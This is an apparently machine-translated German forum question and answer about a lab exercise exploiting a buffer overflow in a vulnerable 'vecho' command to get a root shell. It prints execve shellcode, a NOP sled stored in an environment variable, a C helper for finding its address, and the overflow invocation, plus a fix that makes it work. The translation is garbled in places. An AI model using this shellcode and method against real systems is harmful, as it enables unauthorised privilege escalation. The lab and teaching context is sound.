2016-04-03 11 views
0

Ich mache eine Labor, die uns einen Pufferüberlauf ausführen müssen, um Root-Berechtigungen mit einem eingebauten anfälligen Befehl namens Vecho (funktioniert genauso wie Echo). Aber egal, was ich versuche, ich kann es nicht zum Laufen bringen.Pufferüberlauf Exploit mit Vecho

.section .text 
.globl _start 
_start: 
    xor %eax, %eax // your comments go here 
    push %eax  // and here, and so on... 
    push $0x68732f2f 
    push $0x6e69622f 
    mov %esp, %ebx 
    push %eax 
    mov %esp, %ecx 
    push %ebx 
    mov %eax, %edx 
    mov $0xb, %al 
    int $0x80 

Wir laden diese in eine Umgebungsvariable als Ei gespeichert durch

export EGG=$(<shellcode.bin) 

tun wir dann

SLED=`python -c "print '\x90' * 100"` 

und fügen Sie den Schlitten auf die Variable

export EGG=$SLED$EGG 
einen Schlitten machen

Wir finden dann die Adresse, die EGG an sein wird, wenn wir laufen vecho dies mit

#include<stdio.h> 
    #include<stdlib.h> 
    #include<string.h> 
    int main(int argc, char** argv){ 
     char *ptr; 
     if(argc < 3){ 
      printf("Usage:%s<environmentvar><targetprogramname>\n", 
      argv[0]); 
      exit(0); 
    } 
    ptr = getenv(argv[1]); 
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; 
    printf("%s will be at %p\n", argv[1], ptr); 
} 

Wir haben dann eine Adresse Variable in Little-Endian-Form erstellen, indem Sie so etwas wie dieses

ADDRESS=echo -en "\xff\xff\xff\xbf" 

und eine Polsterung Variable zu tun, die Zeichen genug ist Adresse in das eip zu schieben und dann

vecho $PADDING$ADDRESS 

laufen Aber egal was ich versuche ich entweder einen erfolgreichen Druck, wenn die Polsterung zu klein ist, seg Fehler, wenn die Polsterung zu lange und illegaler Unterricht in der Mitte. Ich habe den Eindruck, dass dieser illegale Instruktionsort wichtig ist, aber ich kann ihn nicht dazu bringen, den Shell-Code tatsächlich auszuführen.

Antwort

0

Sie haben es fast schon. Der Befehl ist illegal, weil es so aussieht, als würden Sie "ADJESS" echo -en "\ xff \ xff \ xff \ xbf" zuweisen. Was Sie tun möchten, ist:

ADDRESS=`echo -en "\xff\xff\xff\xbf"` 

Das wird das Ergebnis ADDRESS im Gegensatz zu dem gesamten Befehl zuweisen.